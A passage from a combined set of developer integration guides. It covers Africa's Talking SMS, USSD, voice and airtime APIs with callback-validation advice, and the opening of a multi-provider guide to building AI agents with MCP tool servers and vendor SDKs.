codeAmani Tech-Stack — All Guides

83 integration guides from codeAmani Labs, combined for AI notebook tools.

Contents

  1. Africa's Talking Integration Guide
  2. AI Agents — Multi-Provider Developer Guide
  3. AI Video Generation Integration Guide
  4. Anonymity Integration Guide
  5. Anthropic Integration Guide
  6. Auth0 Integration Guide
  7. AWS Integration Guide
  8. Better Auth Integration Guide
  9. Blockchain Integration Guide
  10. Caching Integration Guide
  11. Canva Integration Guide
  12. Chrome DevTools Developer Training & Resource Guide
  13. Claude Design Integration Guide
  14. Claude Skills Integration Guide
  15. Clerk Integration Guide
  16. Cloudflare 1.1.1.1 (DNS Resolver) Integration Guide
  17. Cloudflare Integration Guide
  18. Cloudflare R2 (Private Media Storage) Integration Guide
  19. CodeRabbit Integration Guide
  20. Context7 Integration Guide
  21. Cursor Integration Guide
  22. Daraja API (Safaricom M-Pesa) Integration Guide
  23. DeepSeek Integration Guide
  24. Docker (Windows) — Containers Developer Guide
  25. Domain Portfolio Integration Guide
  26. ElevenLabs Integration Guide
  27. Encryption Integration Guide
  28. Figma Integration Guide
  29. Firecrawl Integration Guide
  30. Geolocation Integration Guide
  31. GitHub Developer Course
  32. Google AI Studio (Gemini API) Integration Guide
  33. Google Antigravity Integration Guide
  34. Google Cloud Developer Training & Resource Guide
  35. Grok Bot Integration Guide
  36. Grok Chatbot Developer Guide
  37. Hazina MCP Integration Guide
  38. Hugging Face Integration Guide
  39. Infisical Integration Guide
  40. Lighthouse Monitoring Dashboard & Custom SEO Plugin
  41. Local Databases (WSL + Docker) Guide
  42. Meta for Developers Integration Guide
  43. Microsoft Learn (MCP) Integration Guide
  44. MongoDB Integration Guide
  45. Neon Integration Guide
  46. Netlify Integration Guide
  47. Networking Integration Guide
  48. Notion Integration Guide
  49. OpenAI Integration Guide
  50. OpenClaw Integration Guide
  51. Openship Integration Guide
  52. pgvector Integration Guide
  53. Pinecone Integration Guide
  54. Plausible Analytics Integration Guide
  55. Porkbun Integration Guide
  56. Progressive Web Apps Integration Guide
  57. Railway Integration Guide
  58. Raspberry Pi — Novice-to-Pro Developer Guide
  59. Reddit Integration Guide
  60. Remote Access Integration Guide
  61. Render Integration Guide
  62. Resend Integration Guide
  63. Runway Integration Guide
  64. Security Lab Integration Guide
  65. SendGrid Integration Guide
  66. Sentry Integration Guide
  67. SEO Developer Course & Resource Guide
  68. SLSA Provenance & Supply-Chain Integrity
  69. Stripe Integration Guide
  70. Suno Integration Guide
  71. Supabase Integration Guide
  72. Together AI Integration Guide
  73. Twilio Integration Guide
  74. Upstash (Redis + QStash) Integration Guide
  75. Vercel AI SDK + AI Gateway Integration Guide
  76. Vercel Integration Guide
  77. Visual Studio Code Integration Guide
  78. Visual Studio Integration Guide
  79. Webhooks Developer Guide
  80. WhatsApp Business API Integration Guide
  81. WSL — Linux on Windows Developer Guide
  82. WSL Ubuntu Sandbox Guide
  83. xAI Integration Guide

Africa's Talking Integration Guide

Technology: africas-talking · Category: comms · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/africas-talking

Insight:

Africa's Talking is the reach-everyone channel — USSD works on feature phones with no data or smartphone, which SMS and WhatsApp can't claim. Two traps: AT wants +254… (with +) while Daraja wants 254… (no +), and AT signs no callbacks, so guard them with a secret path and the airtime/data validation callback. AT no longer does payments — pair it with M-Pesa for USSD → pay → SMS flows.

 █████╗ ███████╗██████╗ ██╗ ██████╗ █████╗ ███████╗
██╔══██╗██╔════╝██╔══██╗██║██╔════╝██╔══██╗██╔════╝
███████║█████╗  ██████╔╝██║██║     ███████║███████╗
██╔══██║██╔══╝  ██╔══██╗██║██║     ██╔══██║╚════██║
██║  ██║██║     ██║  ██║██║╚██████╗██║  ██║███████║
╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝

████████╗ █████╗ ██╗     ██╗  ██╗██╗███╗   ██╗ ██████╗
╚══██╔══╝██╔══██╗██║     ██║ ██╔╝██║████╗  ██║██╔════╝
   ██║   ███████║██║     █████╔╝ ██║██╔██╗ ██║██║  ███╗
   ██║   ██╔══██║██║     ██╔═██╗ ██║██║╚██╗██║██║   ██║
   ██║   ██║  ██║███████╗██║  ██╗██║██║ ╚████║╚██████╔╝
   ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝

Africa's Talking Integration Guide

Focus: Pan-African communications — SMS, USSD, Voice (incl. WebRTC), Airtime, Mobile Data, and WhatsApp — over one REST API. USSD is the standout: it works on feature phones with no smartphone or data plan, making it codeAmani's reach-everyone channel alongside M-Pesa. Kenya-targeted projects only — US projects use other providers.

Overview

Africa's Talking (AT) is a REST API with official africastalking SDKs for Node.js (npm 0.8.4, 2026-10-09, Node >=18) and Python (PyPI 2.0.3, 2026-07-31, Python >=3.8). TypeScript types come from DefinitelyTyped: @types/africastalking 0.8.0. Authenticate with your app username + apiKey (header apiKey), or a short-lived authToken. A free sandbox app (username literally sandbox) mirrors production.

Node SDK services: SMS, USSD, VOICE, AIRTIME, MOBILE_DATA, TOKEN, INSIGHTS (SIM-swap check), WHATSAPP, APPLICATION (alias ACCOUNT, wallet balance).

No payments API any more. AT's old Payments product (mobile checkout / B2C / wallet transfers) is gone: it was removed from the Node SDK (lib/payments.js, Nov 2023) and the Python SDK ("Remove all instances of payments", 2023-11-07), and the pricing page lists only SMS, USSD, Airtime, Voice, Mobile Data and WhatsApp. Collect money with Daraja (M-Pesa) for Kenya projects, Stripe everywhere else. (One docs page — Idempotent Requests — still mentions "Payment Disbursement APIs"; treat it as stale text.)

Here is the big picture at a glance — one authenticated REST API fanning out to every channel that reaches your users:

flowchart LR
  APP["Your app<br/>username + apiKey"] -->|"REST"| AT["Africa's Talking API"]
  AT --> SMS["SMS<br/>OTP · alerts · bulk"]
  AT --> USSD["USSD<br/>feature phones · no data"]
  AT --> VOICE["Voice · Airtime<br/>Mobile Data"]
  SMS --> USER["Subscriber"]
  USSD --> USER
  VOICE --> USER
  USER -->|"delivery callback"| APP

Official Documentation

Resource URL
Developer portal https://developers.africastalking.com/
SMS overview https://developers.africastalking.com/docs/sms/overview
Send bulk SMS https://developers.africastalking.com/docs/sms/sending/bulk
SMS notifications (delivery reports) https://developers.africastalking.com/docs/sms/notifications
USSD overview https://developers.africastalking.com/docs/ussd/overview
USSD handle sessions https://developers.africastalking.com/docs/ussd/handle_sessions
Voice overview https://developers.africastalking.com/docs/voice/overview
Voice actions https://developers.africastalking.com/docs/voice/actions/overview
Airtime sending https://developers.africastalking.com/docs/airtime/sending
Mobile Data sending https://developers.africastalking.com/docs/data/sending
Auth headers https://developers.africastalking.com/docs/request_headers
Node SDK https://github.com/AfricasTalkingLtd/africastalking-node.js
Python SDK https://github.com/AfricasTalkingLtd/africastalking-python
Pricing (per-country tabs) https://africastalking.com/pricing

1. Credentials, sandbox vs live

Get username + apiKey from the dashboard. The sandbox app has its own API key; its username is always sandbox.

AT_API_KEY=...               # server-side only — never ship to the browser
AT_CALLBACK_TOKEN=...        # random 32+ char string; secret path segment for AT callback URLs

Non-secret settings (plain env vars, not vault entries):

Setting Example Notes
AT_USERNAME sandbox / my_app App username; sandbox switches the SDK to sandbox hosts
AT_SENDER_ID CODEAMANI Registered alphanumeric sender ID or short code (live only)
AT_USSD_SERVICE_CODE *384*1234# Your assigned code, used to sanity-check callbacks
Sandbox Live
Username sandbox (always) your app's username
REST base https://api.sandbox.africastalking.com/version1 https://api.africastalking.com/version1
Voice / Data hosts voice.sandbox… / bundles.sandbox… voice.africastalking.com / bundles.africastalking.com
Cost free billed from the app wallet (KES for Kenya)
Delivery simulator (simulator.africastalking.com); default sender ID only reaches Kenyan Airtel numbers real networks; sender IDs / codes need telco approval
Voice no voice sandbox (the SDK's own voice tests were dropped for this reason, Oct 2026) numbers must be bought

The Node SDK picks hosts automatically: if username.toLowerCase() === "sandbox" it rewrites every base URL to *.sandbox.africastalking.com. There is no separate sandbox: true flag.

Auth tokens. TOKEN.generateAuthToken() (REST POST /auth-token/generate) returns { token, lifetimeInSeconds }; send it in an authToken header instead of apiKey when you want a short-lived credential (e.g. a worker that shouldn't hold the master key).

2. Install + initialize

npm install africastalking@0.8.4
npm install -D @types/africastalking@0.8.0
pip install africastalking==2.0.3
import AfricasTalking from "africastalking"; // CommonJS `export =`; needs esModuleInterop

const at = AfricasTalking({
  apiKey: process.env.AT_API_KEY ?? "",
  username: process.env.AT_USERNAME ?? "sandbox",
});
const { SMS, AIRTIME, VOICE, MOBILE_DATA } = at;

Python: africastalking.initialize(username, api_key), then africastalking.SMS, .Airtime, .Voice, .MobileData, .Token, .Insights, .Whatsapp, .Application. Every Python call takes an optional timeout (default 10 s since 2.0.x) and an optional callback= for async use. The Python SDK has no USSD helper — USSD is just an HTTP handler.

3. Send SMS

const res = await SMS.send({
  to: ["+254711XXXYYY", "+254733YYYZZZ"], // +254… (international, WITH +)
  message: "Your codeAmani code is 123456",
  senderId: process.env.AT_SENDER_ID,       // omit in sandbox
  enqueue: true,                            // queue without waiting for the telco ACK
});
for (const r of res.SMSMessageData.Recipients) {
  // r.statusCode 101 = Sent (accepted), r.cost "KES 0.8000", r.messageId → store it
}

SMS.send also accepts an array of option objects (one request each, settled with Promise.allSettled). Other SMS methods: sendPremium, fetchMessages (inbox polling), createSubscription / fetchSubscription / deleteSubscription (premium).

Raw REST — the documented bulk endpoint takes a JSON body with a phoneNumbers array:

curl -X POST https://api.africastalking.com/version1/messaging/bulk \
  -H "apiKey: $AT_API_KEY" -H "Content-Type: application/json" -H "Accept: application/json" \
  -d '{"username":"my_app","phoneNumbers":["+254711XXXYYY"],"message":"Hello","senderId":"ABC"}'

Two SMS endpoints. POST /version1/messaging/bulk is the documented JSON endpoint (phoneNumbers array, senderId, optional enqueue, maskedNumber, telco). The Node SDK still calls the older form endpoint POST /version1/messaging (application/x-www-form-urlencoded, to as a comma-separated string, from = your sender ID, bulkSMSMode=1). Premium SMS goes to content.africastalking.com/version1/messaging. In the sandbox, the default sender only delivers to Kenyan Airtel numbers — register a sender ID for anything else.

Per-recipient statusCode: 100 Processed · 101 Sent · 102 Queued · 401 RiskHold · 402 InvalidSenderId · 403 InvalidPhoneNumber · 404 UnsupportedNumberType · 405 InsufficientBalance · 406 UserInBlacklist · 407 CouldNotRoute · 409 DoNotDisturbRejection · 500 InternalServerError · 501 GatewayError · 502 RejectedByGateway. 1xx means accepted, not delivered.

Message length: 160 GSM-7 characters per SMS; any special (non-GSM) character drops it to 70 characters per part, and each extra part is billed as a new message.

Delivery reports

Set SMS → Callback URLs → Delivery Reports in the dashboard. AT POSTs application/x-www-form-urlencoded with id (= messageId), status (Sent, Submitted, Buffered, Rejected, Success, Failed, AbsentSubscriber, Expired), phoneNumber, networkCode, optional failureReason (on Rejected/Failed) and retryCount (premium). Success is the only "delivered to handset" state. Full handler: examples/send-sms.ts.

4. Handle a USSD session

AT POSTs sessionId, serviceCode, phoneNumber, networkCode, text (form-urlencoded) to your callback URL on every keypress. text is cumulative, joined with *: "" → "2" → "2*50". Reply HTTP 200, text/plain, starting CON (keep the session open) or END (close it). An HTTP error or malformed reply makes AT kill the session, and telcos render special characters badly — keep menus plain ASCII.

Picture the back-and-forth — each dial POSTs to you, and your CON/END reply decides whether the menu keeps going or wraps up:

sequenceDiagram
  participant U as "User · feature phone"
  participant AT as "Africa's Talking"
  participant S as "Your callback URL"
  U->>AT: "Dial service code"
  AT->>S: "POST sessionId · phoneNumber · text"
  S-->>AT: "CON Welcome menu"
  AT-->>U: "Show menu - session open"
  U->>AT: "Reply 1"
  AT->>S: "POST text - 1"
  S-->>AT: "END Balance- KES 250.00"
  AT-->>U: "Show result - session closed"

In a Next.js App Router project there is no Express, so write the handler against the web-standard Request:

// app/api/at/ussd/[token]/route.ts — full version in examples/ussd-handler.ts
export async function POST(req: Request): Promise<Response> {
  const body = new URLSearchParams(await req.text());
  const text = body.get("text") ?? "";
  const reply =
    text === "" ? "CON Welcome\n1. Balance\n2. Buy airtime"
    : text === "1" ? "END Balance: KES 250.00"
    : "END Invalid option.";
  return new Response(reply, { headers: { "Content-Type": "text/plain; charset=utf-8" } });
}

With Express, the Node SDK ships a helper: at.USSD(handler) returns [urlencodedParser, handler] middleware; you call respond({ response, endSession }) and it prefixes CON /END for you (validated with Joi — both keys are required):

app.post("/api/at/ussd", ...at.USSD((payload, respond) => {
  respond(payload.text === ""
    ? { response: "Welcome\n1. Balance", endSession: false }
    : { response: "Balance: KES 250.00", endSession: true });
}));

AT also POSTs an end-of-session notification (if you set the USSD Events callback URL): sessionId, status (Incomplete / Success / Failed), cost, durationInMillis, hopsCount, input, lastAppResponse, errorMessage. Use it for analytics and cost tracking.

Register the callback URL (HTTPS) for your service code in the dashboard. For local testing, tunnel with ngrok http 3000 (same as the M-Pesa callback workflow) and drive it from the sandbox simulator.

5. Voice, Airtime & Mobile Data

Beyond SMS and USSD, the same username + apiKey unlocks three more channels. Note the separate base hosts: Voice lives on voice.africastalking.com (WebRTC tokens on webrtc.africastalking.com), Mobile Data on bundles.africastalking.com, while Airtime stays on the version1 REST host.

flowchart LR
  APP["Your app<br/>username + apiKey"] --> V["Voice<br/>voice.africastalking.com"]
  APP --> A["Airtime<br/>version1/airtime/send"]
  APP --> D["Mobile Data<br/>bundles.../mobile/data/request"]
  V -->|"outbound call"| U["Subscriber"]
  U -->|"inbound · POST"| CB["Your voice<br/>callback URL"]
  CB -->|"XML actions"| V
  A --> U
  D --> U

Airtime — send a top-up

Up to 1,000 recipients per request. Each needs phoneNumber, currencyCode, numeric amount. maxNumRetry is a count of hours to keep retrying failed sends (every 60 s; default window 8 h). AT auto-rejects near-identical airtime requests within 5 minutes — pass idempotencyKey (sent as the Idempotency-Key header) to force a genuine repeat through, and to make your own retries safe. Per-country value limits apply (docs "Value Limits"; Kenya was KES 5 – 10,000 for Safaricom/Airtel/Telkom at the Aug 2026 check — not re-confirmed). API cap: 500 simultaneous connections per IP; no per-second rate limit.

const result = await AIRTIME.send({
  recipients: [{ phoneNumber: "+254711XXXYYY", currencyCode: "KES", amount: 50 }],
  maxNumRetry: 3,                        // retry failed deliveries for up to 3 hours
  idempotencyKey: "airtime-order-8812",  // your own stable ID, stored before sending
});
// result.responses[].status "Sent" = accepted; result.responses[].requestId → store it
// Later: await AIRTIME.findTransactionStatus(requestId)

Raw REST equivalent (note amount as a "KES 100.00" string):

curl -X POST https://api.africastalking.com/version1/airtime/send \
  -H "apiKey: $AT_API_KEY" -H "Content-Type: application/json" -H "Accept: application/json" \
  -H "Idempotency-Key: airtime-order-8812" \
  -d '{"username":"my_app","maxNumRetry":2,"recipients":[{"phoneNumber":"+254711XXXYYY","amount":"KES 110.00"}]}'

The final state arrives at the airtime Status callback (phoneNumber, description, status Success/Failed, requestId, discount, value).

Voice — outbound call, then actions via callback

Outbound voice is queue-then-callback. VOICE.call only queues the call; the call flow is decided when AT POSTs to your registered voice callback URL and you reply with XML.

const call = await VOICE.call({
  callFrom: "+254730XXXXXX",                  // your AT virtual number
  callTo: ["+254711XXXYYY"],                  // array or comma-separated string
  clientRequestId: "reminder-42",             // echoed to your callback
});
// call.entries[].status: Queued | InvalidPhoneNumber | DestinationNotSupported | InsufficientCredit

REST: POST https://voice.africastalking.com/call, form-urlencoded username, from, to (comma string), optional clientRequestId. The SDK names are callFrom / callTo — the wire names are from / to.

Callback (inbound calls and the outbound call flow): AT POSTs isActive (1 during the call, 0 on the final request), sessionId, direction, callerNumber, destinationNumber, dtmfDigits (after a GetDigits), and on the final request recordingUrl, durationInSeconds, currencyCode, amount. Reply 200 with XML built by VOICE.ActionBuilder:

const xml = new VOICE.ActionBuilder()
  .say("Welcome to codeAmani. Press 1 for balance, 2 for support.")
  .getDigits(
    { say: { text: "Enter your choice followed by hash." } },
    { numDigits: 1, finishOnKey: "#", timeout: 10, callbackUrl: "https://example.com/api/at/voice/digits" },
  )
  .build(); // <Response><Say>…</Say><GetDigits …>…</GetDigits></Response>
// return new Response(xml, { headers: { "Content-Type": "application/xml" } })

Actions: Say, Play, GetDigits, Dial, Record, Enqueue, Dequeue, Redirect, Reject, Conference. Other voice methods: getNumQueuedCalls, uploadMediaFile, and — new in SDK 0.8.4 — requestCapabilityToken({ clientName, phoneNumber, incoming, outgoing, expire }) for the browser WebRTC client (POST webrtc.africastalking.com/capability-token/request, default lifetime 86,400 s). @types/africastalking@0.8.0 predates it, so cast or call the REST endpoint directly. 0.8.4 also renamed the misspelled fetchQuedCalls → getNumQueuedCalls.

Mobile Data — send a bundle

MOBILE_DATA.send (REST POST bundles.africastalking.com/mobile/data/request). Each recipient needs quantity, unit (MB/GB), validity (Day, Week, BiWeek, Month, Quarterly) and — in the SDK — metadata. productName must match the data product on your account, and the bundle must exist on the pricing page (Kenya: Safaricom 50 MB – 1 GB only).

await MOBILE_DATA.send({
  productName: "Mobile Data",
  recipients: [
    { phoneNumber: "+254711XXXYYY", quantity: 500, unit: "MB", validity: "Day",
      metadata: { customerId: "CUS001" } },
  ],
  idempotencyKey: "data-order-311",
});
// Also: MOBILE_DATA.findTransaction({ transactionId }), MOBILE_DATA.fetchWalletBalance()

Gotcha — three hosts, two amount formats. Voice and Mobile Data don't use the version1 host. Airtime flips amount format by layer: the SDK takes numeric amount + currencyCode; raw REST wants one "KES 100.00" string. Every Queued/Sent status means accepted, not delivered — wire up the per-service callbacks.

6. Callback validation (AT does not sign callbacks)

AT documents no HMAC signature or signing secret for any callback (SMS delivery reports, USSD, voice, airtime, mobile data). Treat every callback as untrusted:

  1. Secret path segment. Register https://app.example.com/api/at/ussd/<AT_CALLBACK_TOKEN> and 404 anything else; compare in constant time. Rotate by updating the dashboard URL.
  2. Correlate, don't trust. Only act on a delivery report whose id matches a stored messageId, or an airtime status whose requestId you issued. Re-query when money is involved (AIRTIME.findTransactionStatus, MOBILE_DATA.findTransaction).
  3. Validation callbacks — the one real gate. Airtime and Mobile Data support a Validation callback URL (dashboard label "B2C Validation Callback URL" for data). AT POSTs transactionId, phoneNumber, sourceIpAddress, currencyCode, amount (data: bundle, metadata) before disbursing; reply JSON {"status":"Validated"} or {"status":"Failed"}. Approve only transactions your DB knows about — this stops a leaked API key from draining the wallet.
  4. Idempotent handlers. Upsert on messageId / requestId / sessionId; AT may retry.
  5. Answer fast. USSD and voice wait on your reply — no slow I/O in the request path.

codeAmani notes

Official docs:

AI Agents — Multi-Provider Developer Guide

Technology: ai-agents · Category: ai · Last reviewed: 2026-10-18

Source: https://tech-stack.codeamanilabs.org/guide/ai-agents

Insight:

An AI agent is an LLM running in a loop: perceive → reason → call a tool → observe the result → repeat until done. Every stack here (xAI Grok, Anthropic's Claude API / Agent SDK / Managed Agents, Microsoft Agent Framework, Google ADK, and the Vercel AI SDK) implements that same loop. What differs is who runs the loop, where tools execute, and how you attach them. The unifier is MCP (Model Context Protocol): build one MCP server and every agent can use it. For codeAmani: keep model and tool keys server-side, bound every loop with a step and cost cap, and require human approval before any action that moves money or writes to production.

 █████╗ ██╗     █████╗  ██████╗ ███████╗███╗   ██╗████████╗███████╗
██╔══██╗██║    ██╔══██╗██╔════╝ ██╔════╝████╗  ██║╚══██╔══╝██╔════╝
███████║██║    ███████║██║  ███╗█████╗  ██╔██╗ ██║   ██║   ███████╗
██╔══██║██║    ██╔══██║██║   ██║██╔══╝  ██║╚██╗██║   ██║   ╚════██║
██║  ██║██║    ██║  ██║╚██████╔╝███████╗██║ ╚████║   ██║   ███████║
╚═╝  ╚═╝╚═╝    ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚══════╝

AI Agents — Multi-Provider Developer Guide

Focus: how to build AI agents on the stacks you'll actually reach for: Anthropic (Claude API Tool Runner, Claude Agent SDK, Claude Managed Agents), xAI Grok, Microsoft Agent Framework (+ VS Code agents), Google ADK, and the Vercel AI SDK. Covers their scope, how to wire tools, and the MCP connector that links them all. Grounded in each vendor's official docs and registries; reviewed 2026-10-18.

What an agent actually is

Strip away the hype: an agent is a language model put in a loop with tools. It reads the goal, decides whether it can answer directly or needs a tool, calls the tool, reads the result, and loops until it can give a final answer. Everything else (memory, multi-agent, hosting) is built on top.

flowchart LR
  U["User goal"] --> P["Perceive<br/>read context"]
  P --> R["Reason<br/>plan next step"]
  R --> D{"Need a tool?"}
  D -->|yes| T["Act<br/>call a tool"]
  T --> O["Observe<br/>read result"]
  O --> R
  D -->|no| A["Respond"]

The two non-negotiables: tools (what the agent can do: search, query a DB, send an SMS) and stop conditions (when to quit the loop). Get those right and the rest is plumbing.

Who runs the loop?

The first decision is not which model. It is who owns the loop and where tools execute:

You want… Reach for Loop runs Tools run
Full control of every message Raw SDK, manual loop Your code Your code
Your tools, no loop boilerplate Claude Tool Runner, AI SDK ToolLoopAgent, MS Agent Framework, Google ADK SDK in your process Your code
A ready-made coding/ops agent (files, bash, web) Claude Agent SDK SDK in your process Your machine / container
Anthropic to host the loop and a sandbox Claude Managed Agents (beta) Anthropic Per-session container
Search / code / MCP calls run by the provider xAI server-side tools xAI xAI
A loop that survives crashes and waits for approval AI SDK WorkflowAgent Durable workflow Your code

Official Documentation

Provider / spec URL
MCP specification (2026-07-28) https://modelcontextprotocol.io/specification/2026-07-28
MCP build a server / client https://modelcontextprotocol.io/docs/develop/build-server · https://modelcontextprotocol.io/docs/develop/build-client
Claude API tool use https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview
Claude Agent SDK https://code.claude.com/docs/en/agent-sdk/overview
Claude Agent SDK custom tools https://code.claude.com/docs/en/agent-sdk/custom-tools
Claude Managed Agents (beta) https://platform.claude.com/docs/en/managed-agents/overview
xAI function calling / server-side tools https://docs.x.ai/developers/tools/function-calling · https://docs.x.ai/developers/tools/overview
Microsoft Agent Framework https://learn.microsoft.com/agent-framework/overview/
Google Agent Development Kit https://adk.dev/
Vercel AI SDK agents https://ai-sdk.dev/docs/agents
VS Code agents + MCP servers https://code.visualstudio.com/docs/agents/overview · https://code.visualstudio.com/docs/agent-customization/mcp-servers

MCP — the universal connector

Before the providers, learn the thing that ties them together. MCP (Model Context Protocol) is an open standard: an MCP server exposes tools, resources, and prompts, and any MCP-capable agent (client) can consume them. Build your "check M-Pesa status" or "query Supabase" tool once as an MCP server, and every agent below can call it.

flowchart TB
  subgraph Agents["MCP clients (agents)"]
    G["Grok"]
    C["Claude Agent SDK /<br/>Managed Agents"]
    M["MS Agent Framework /<br/>VS Code"]
    A["Google ADK"]
  end
  subgraph Servers["Your MCP servers"]
    S1["mpesa-tools<br/>STK status · receipts"]
    S2["data-tools<br/>Supabase · BigQuery"]
  end
  G --> S1
  C --> S1
  M --> S2
  A --> S2
  C --> S2

What changed in the 2026-07-28 spec

The current revision is 2026-07-28 (the previous one was 2025-11-25). If you wrote MCP code a year ago, these are the changes that matter:

SDKs

Language Package Version (2026-10-18) Notes
TypeScript (v2, current) @modelcontextprotocol/server, @modelcontextprotocol/client 2.3.1 Split packages; implements the 2026-07-28 spec
TypeScript (v1) @modelcontextprotocol/sdk 1.32.1 Maintenance branch (v1.x): fixes for at least 6 months after the v2 release
Python mcp 2.3.0 from mcp.server import MCPServer (replaces FastMCP in the README)

A read-only tool server, built once and attachable to every agent below (TypeScript, v2 SDK, ESM):

// mpesa-tools/server.ts   npm i @modelcontextprotocol/server zod
import { McpServer } from "@modelcontextprotocol/server";
import { StdioServerTransport } from "@modelcontextprotocol/server/stdio";
import { z } from "zod";

const server = new McpServer({ name: "mpesa-tools", version: "1.0.0" });

server.registerTool(
  "mpesa_status",
  {
    description: "Read the recorded status of an M-Pesa STK checkout. Read-only.",
    inputSchema: z.object({ checkout_request_id: z.string().min(10) }),
  },
  async ({ checkout_request_id }) => {
    const row = await lookupCheckout(checkout_request_id); // your DB read
    return row
      ? { content: [{ type: "text", text: JSON.stringify(row) }] }
      : { content: [{ type: "text", text: "not_found" }], isError: true };
  },
);

await server.connect(new StdioServerTransport());

Every provider in this guide speaks MCP. That's the bet: write tools once, reuse everywhere. See the github and supabase guides for first-party MCP servers you can attach today.


1. Anthropic — three ways to build on Claude

Anthropic offers three agent surfaces that differ in who hosts what. Pick the simplest one that does the job.

a) Claude API + Tool Runner (your tools, SDK runs the loop)

The default for a custom-tool agent. The TypeScript SDK's Tool Runner (beta in @anthropic-ai/sdk 0.135) runs the request → execute → loop cycle; you write tool functions. Full example: examples/agent-tool-runner.ts. The manual loop it automates is in examples/agent-loop.ts.

import Anthropic from "@anthropic-ai/sdk";
import { betaZodTool } from "@anthropic-ai/sdk/helpers/beta/zod";
import { z } from "zod";

const client = new Anthropic(); // ANTHROPIC_API_KEY, server-side

const mpesaStatus = betaZodTool({
  name: "mpesa_status",
  description: "Read the recorded status of an M-Pesa STK checkout.",
  inputSchema: z.object({ checkout_request_id: z.string() }),
  run: async ({ checkout_request_id }) => JSON.stringify(await lookupCheckout(checkout_request_id)),
});

const final = await client.beta.messages.toolRunner({
  model: "claude-opus-5-5",
  max_tokens: 16000,
  max_iterations: 10,          // the step cap. Always set it
  tools: [mpesaStatus],
  messages: [{ role: "user", content: "Is checkout ws_CO_123 paid?" }],
});

Three gotchas from the current API:

b) Claude Agent SDK (a ready-made agent harness)

from claude_agent_sdk import tool, create_sdk_mcp_server, ClaudeAgentOptions, query, ResultMessage

@tool("mpesa_status", "Check an M-Pesa STK payment status", {"checkout_id": str})
async def mpesa_status(args):
    status = await lookup(args["checkout_id"])  # your code
    return {"content": [{"type": "text", "text": status}]}

server = create_sdk_mcp_server(name="mpesa", version="1.0.0", tools=[mpesa_status])

options = ClaudeAgentOptions(
    mcp_servers={"mpesa": server},
    allowed_tools=["mcp__mpesa__mpesa_status"],  # auto-approve this one tool
    disallowed_tools=["Bash"],                    # remove a built-in entirely
    permission_mode="default",
    max_turns=10,
    max_budget_usd=0.50,                          # hard cost cap → result subtype "error_max_budget_usd"
)

async for msg in query(prompt="Is checkout ws_CO_123 paid?", options=options):
    if isinstance(msg, ResultMessage) and msg.subtype == "success":
        print(msg.result)

c) Claude Managed Agents (Anthropic hosts the loop and the sandbox)

Beta (managed-agents-2026-04-01, set automatically by the SDK on client.beta.*). You create a persisted, versioned Agent config once (model, system prompt, tools, MCP servers, skills), then start a Session per run. Each session gets its own container where bash, file, and code tools execute, and streams events back to you. Credentials for MCP servers and CLIs live in vaults and are substituted at egress, never visible in the sandbox. There are also scheduled deployments, rubric-graded outcomes, and multi-agent sessions.

See anthropic for models, prompt caching, and effort.


2. xAI — Grok agents

# pip install xai-sdk   (1.20.0, Python 3.10+)
import json
from pydantic import BaseModel, Field
from xai_sdk import Client
from xai_sdk.chat import system, user, tool, tool_result

client = Client()  # reads XAI_API_KEY

class WeatherReq(BaseModel):
    city: str = Field(description="City name")

def get_weather(city: str) -> str:
    return f"Sunny, 26°C in {city}"

chat = client.chat.create(
    model="grok-4.7",
    messages=[system("You are a helpful assistant.")],
    tools=[tool(name="get_weather", description="Current weather for a city.",
                parameters=WeatherReq.model_json_schema())],
)
chat.append(user("Weather in Nairobi?"))
resp = chat.sample()
chat.append(resp)
for tc in resp.tool_calls:                      # the model asked to call a tool
    args = json.loads(tc.function.arguments)
    chat.append(tool_result(get_weather(**args), tool_call_id=tc.id))  # tool_call_id optional
print(chat.sample().content)                     # final answer after the tool result
from xai_sdk.tools import web_search, code_execution, mcp
chat = client.chat.create(model="grok-4.7", tools=[
    web_search(), code_execution(),
    mcp(server_url="https://mcp.example.com", server_label="mpesa",
        allowed_tool_names=["mpesa_status"], authorization="Bearer TOKEN"),
])

3. Microsoft — Agent Framework + VS Code agents

a) Build agents in code — Microsoft Agent Framework

The direct successor to Semantic Kernel and AutoGen (same teams). It is GA in Python (agent-framework 1.22.0, Python ≥3.10) and .NET (Microsoft.Agents.AI 1.25.0). Go is public preview (github.com/microsoft/agent-framework-go v0.1.1). It covers agents, functional and graph-based workflows, session state, middleware and telemetry, MCP, and a newer Harness Agent (planning, context compaction, file and memory access, tool approval).

# pip install agent-framework
from typing import Annotated
from pydantic import Field
from agent_framework import Agent, tool
from agent_framework.openai import OpenAIChatClient   # or foundry.FoundryChatClient, anthropic.AnthropicClient

@tool(approval_mode="never_require")                 # read-only → no approval prompt
def get_weather(location: Annotated[str, Field(description="City name")]) -> str:
    """Get the weather for a location."""
    return f"Sunny, 26°C in {location}"

agent = Agent(
    client=OpenAIChatClient(),
    name="SupportAgent",
    instructions="You are codeAmani's Swahili-fluent support agent.",
    tools=[get_weather],
)
result = await agent.run("Habari ya hali ya hewa Nairobi?")
print(result.text)

b) Drive an agent in the IDE — VS Code

VS Code's docs now say agents rather than "agent mode": pick the Agent (or the Plan agent) in the chat session controls. Enable MCP tools with the Configure Tools button, reference tools with # (e.g. #fetch), and invoke MCP prompts as /<server>.<prompt>.

// .vscode/mcp.json  (top-level key is "servers"; .mcp.json files use "mcpServers")
{
  "inputs": [
    { "type": "promptString", "id": "mpesa-token", "description": "M-Pesa tools token", "password": true }
  ],
  "servers": {
    "mpesa": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "mpesa-mcp"],
      "env": { "MPESA_TOOLS_TOKEN": "${input:mpesa-token}" }
    },
    "github": { "type": "http", "url": "https://api.githubcopilot.com/mcp" }
  }
}

4. Google — Agent Development Kit (ADK)

# pip install google-adk
from google.adk.agents import Agent
from google.adk.runners import InMemoryRunner

def get_weather(city: str) -> dict:
    """Current weather for a city.  (the docstring is the tool's description)"""
    return {"status": "success", "report": f"Sunny, 26°C in {city}"}

root_agent = Agent(
    name="weather_agent",
    model="gemini-flash-latest",   # the string the official quickstart uses
    description="Answers weather questions.",
    instruction="Use the get_weather tool to answer.",
